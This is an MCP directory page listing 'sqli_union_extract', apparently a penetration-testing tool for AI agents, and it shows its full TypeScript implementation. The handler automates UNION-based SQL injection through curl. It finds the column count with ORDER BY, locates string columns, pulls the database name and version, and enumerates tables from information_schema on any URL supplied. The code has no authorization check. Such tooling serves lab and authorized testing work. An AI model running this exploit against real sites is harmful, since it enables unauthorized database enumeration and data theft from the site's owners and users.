Skip to main content
Glama

sqli_union_extract

Extract database information from SQL injection vulnerabilities using UNION-based techniques to identify column counts, string columns, database names, versions, tables, and columns.

Instructions

Step-by-step UNION-based data extraction. 1. Finds column count via ORDER BY. 2. Identifies string-displayable columns via UNION SELECT. 3. Extracts database name and version. 4. Lists tables and columns. Returns column_count, string_columns, db_name, db_version, tables, user_columns. Side effects: Read-only GET requests. Sends ~30 requests depending on column count.

Input Schema

TableJSON Schema
NameRequiredDescriptionDefault
urlYesFull URL with injectable parameter, e.g. https://target/filter?category=Gifts
parameterYesVulnerable query parameter name
max_columnsNoMaximum columns to probe with ORDER BY

Implementation Reference

  • Implementation of the sqli_union_extract tool handler, which automates UNION-based SQL injection to discover columns, extract DB metadata, and list tables.
    server.tool(
      "sqli_union_extract",
      "Step-by-step UNION-based data extraction. 1. Finds column count via ORDER BY. 2. Identifies string-displayable columns via UNION SELECT. 3. Extracts database name and version. 4. Lists tables and columns. Returns column_count, string_columns, db_name, db_version, tables, user_columns. Side effects: Read-only GET requests. Sends ~30 requests depending on column count.",
      {
        url: z.string().describe("Full URL with injectable parameter, e.g. https://target/filter?category=Gifts"),
        parameter: z.string().describe("Vulnerable query parameter name"),
        max_columns: z.number().min(1).max(20).optional().describe("Maximum columns to probe with ORDER BY"),
      },
      async ({ url, parameter, max_columns = 10 }) => {
        requireTool("curl");
        const baseUrl = url.split("?")[0];
    
        // Step 1: Find column count via ORDER BY
        let columnCount = 0;
        for (let i = 1; i <= max_columns; i++) {
          const res = await runCmd("curl", [
            "-sk", "-o", "/dev/null", "-w", "%{http_code}",
            `${baseUrl}?${parameter}=' ORDER BY ${i}-- -`,
          ]);
          const status = /^\d+$/.test(res.stdout) ? parseInt(res.stdout, 10) : 0;
          if (status === 500 || status === 0) {
            columnCount = i - 1;
            break;
          }
          if (i === max_columns) {
            columnCount = max_columns;
          }
        }
    
        if (columnCount === 0) {
          const errResult = { error: "Could not determine column count. ORDER BY 1 failed." };
          return { content: [{ type: "text" as const, text: JSON.stringify(errResult, null, 2) }] };
        }
    
        // Step 2: Find string columns via UNION SELECT with markers
        const unionValues = Array.from({ length: columnCount }, (_, i) => `'col${i + 1}'`).join(",");
        const markerCmd = await runCmd("curl", [
          "-sk",
          `${baseUrl}?${parameter}=' UNION SELECT ${unionValues}-- -`,
        ]);
        const stringColumns: number[] = [];
        for (let i = 1; i <= columnCount; i++) {
          if (markerCmd.stdout.includes(`col${i}`)) {
            stringColumns.push(i);
          }
        }
    
        // Step 3: Extract DB name and version
        let dbRes = { stdout: "" };
        let verRes = { stdout: "" };
        if (stringColumns.length > 0) {
          const colIdx = stringColumns[0];
          const selectParts = Array.from({ length: columnCount }, (_, i) =>
            i + 1 === colIdx ? "database()" : "NULL"
          );
          dbRes = await runCmd("curl", [
            "-sk",
            `${baseUrl}?${parameter}=' UNION SELECT ${selectParts.join(",")}-- -`,
          ]);
    
          const selectPartsV = Array.from({ length: columnCount }, (_, i) =>
            i + 1 === colIdx ? "@@version" : "NULL"
          );
          verRes = await runCmd("curl", [
            "-sk",
            `${baseUrl}?${parameter}=' UNION SELECT ${selectPartsV.join(",")}-- -`,
          ]);
        }
    
        // Step 4: List tables
        let tablesRes = { stdout: "" };
        if (stringColumns.length > 0) {
          const colIdx = stringColumns[0];
          const selectPartsT = Array.from({ length: columnCount }, (_, i) =>
            i + 1 === colIdx ? "GROUP_CONCAT(table_name)" : "NULL"
          );
          tablesRes = await runCmd("curl", [
            "-sk",
            `${baseUrl}?${parameter}=' UNION SELECT ${selectPartsT.join(",")} FROM information_schema.tables WHERE table_schema=database()-- -`,
          ]);
        }
    
        const result = {
          column_count: columnCount,
          string_columns: stringColumns,
          db_extraction_response_snippet: dbRes.stdout.slice(0, 500),
          version_response_snippet: verRes.stdout.slice(0, 500),
          tables_response_snippet: tablesRes.stdout.slice(0, 500),
          hint: "Use the string column positions to craft targeted UNION SELECT queries for specific table data.",
        };
        return { content: [{ type: "text" as const, text: JSON.stringify(result, null, 2) }] };
      }
    );

Latest Blog Posts

MCP directory API

We provide all the information about MCP servers via our MCP API.

curl -X GET 'https://glama.ai/api/mcp/v1/servers/operantlabs/operant-mcp'

If you have feedback or need assistance with the MCP directory API, please join our Discord server